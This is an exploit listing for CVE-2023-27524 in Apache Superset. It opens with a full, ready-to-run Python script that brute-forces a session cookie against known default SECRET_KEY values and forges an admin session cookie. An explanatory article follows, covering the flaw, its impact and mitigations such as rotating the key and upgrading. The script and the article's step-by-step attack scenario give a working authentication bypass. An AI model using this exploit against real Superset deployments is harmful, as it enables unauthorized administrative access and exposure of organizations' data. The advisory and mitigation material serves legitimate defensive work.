Apache Superset 2.0.0 - Authentication Bypass
# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass
# Date: 10 May 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://superset.apache.org/
# Version: Apache Superset<= 2.0.1
# Tested on: 2.0.0
# CVE: CVE-2023-27524
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'"version_string": "(.*?)"', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
u1 = args.url.rstrip('/') + '/superset/welcome'
print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main() Apache Superset 2.0.0 - Authentication Bypass Vulnerability (CVE-2023-27524)
Apache Superset, a powerful open-source data visualization platform, has long been trusted by organizations for its robust dashboarding and analytics capabilities. However, in May 2023, a critical security flaw was disclosed that allows attackers to bypass authentication entirely—CVE-2023-27524. This vulnerability affects versions up to 2.0.1, with the most commonly exploited version being 2.0.0. The exploit leverages a predictable session signing mechanism tied to hardcoded SECRET_KEY values, enabling unauthorized access to administrative dashboards.
Understanding the Vulnerability
At the core of the issue lies Flask’s session management system, which uses a signing key to secure session cookies. In Superset, the SECRET_KEY is used to sign and verify session data. When this key is not properly randomized or is hardcoded—especially in default configurations—it becomes predictable.
Attackers can exploit this by:
- Extracting a valid session cookie from the login page.
- Decoding the cookie to inspect its contents.
- Testing known default
SECRET_KEYvalues to verify the session. - Forging a new session cookie with a
_user_idset to1(typically the admin user).
Once the forged cookie is injected into the browser, the user is effectively logged in as the administrator—without any credentials.
Exploit Mechanics: Step-by-Step Breakdown
Let’s walk through the exploit using the provided Python script as a reference. The attack relies on three key components:
- Session Cookie Extraction: The attacker first accesses the
/login/endpoint to retrieve a session cookie. - Session Decoding: Using the
flask_unsignlibrary, the attacker decodes the session cookie to view its structure. - Secret Key Cracking: The script tests a predefined list of default
SECRET_KEYvalues until one successfully verifies the session.
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
This list represents common default keys found in Superset’s official documentation, deployment templates, and Docker Compose files. Notably, the key CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET is explicitly marked as a placeholder—indicating that it should never be used in production.
When the script finds a matching key, it proceeds to forge a session cookie:
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
By signing a session with _user_id=1 and the verified SECRET_KEY, the attacker creates a valid session that the server accepts as authenticated—regardless of the user’s actual credentials.
Real-World Impact and Attack Surface
This vulnerability is particularly dangerous because:
- It requires no prior authentication: An attacker can gain admin access from a public-facing login page.
- It bypasses all access controls: Once the forged cookie is set, the user can access all dashboards, data sources, and administrative settings.
- It is easily automated: The exploit script is fully functional and can be used in automated penetration testing.
Consider a scenario where a company deploys Superset using the default Docker Compose configuration. If the SECRET_KEY is not changed from TEST_NON_DEV_SECRET, an attacker can:
- Visit
https://superset.example.com/login/ - Extract the session cookie
- Run the exploit script
- Forge a session as
admin(user_id=1) - Access the
/superset/welcomepage and view all sensitive data
Security Recommendations and Mitigation
Organizations using Apache Superset must act immediately to prevent exploitation. The following steps are critical:
| Recommendation | Implementation |
|---|---|
| Change the SECRET_KEY | Replace any default or placeholder key with a strong, randomly generated secret (e.g., 32+ characters, including alphanumeric and special symbols). |
| Use environment variables | Store the SECRET_KEY in environment variables instead of hardcoding it in configuration files. |
| Disable public access to login | Restrict access to the login page via firewall rules, IP whitelisting, or reverse proxy authentication. |
| Monitor session activity | Implement logging and anomaly detection for unusual session creation patterns. |
Additionally, administrators should:
- Upgrade to Superset 2.0.2 or later, where this vulnerability has been patched.
- Review configuration files (e.g.,
superset_config.py,docker-compose.yml) for hardcoded keys. - Apply the principle of least privilege—even admin users should have restricted access to sensitive data.
Expert Insight: Why Default Keys Are Dangerous
Security experts emphasize that default configuration keys are a major red flag in any system. The fact that SECRET_KEY is listed in documentation as CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET is not a suggestion—it’s a warning. If ignored, it leads to predictable session signing, which undermines the entire authentication model.
Furthermore, the exploit is not limited to Superset 2.0.0. The same logic applies to any Flask-based application with weak session signing, especially those using static or predictable keys. This highlights a broader issue: configuration hygiene is as important as code security.
Conclusion
CVE-2023-27524 is a prime example of how a seemingly minor configuration oversight can lead to full system compromise. Apache Superset’s popularity makes it a high-value target for attackers. Organizations must treat default settings as a threat—not a convenience.
By implementing strong, unique SECRET_KEY values and adopting secure deployment practices, teams can prevent this class of vulnerability from ever occurring. In cybersecurity, the best defense is not just patching flaws—but preventing them from being introduced in the first place.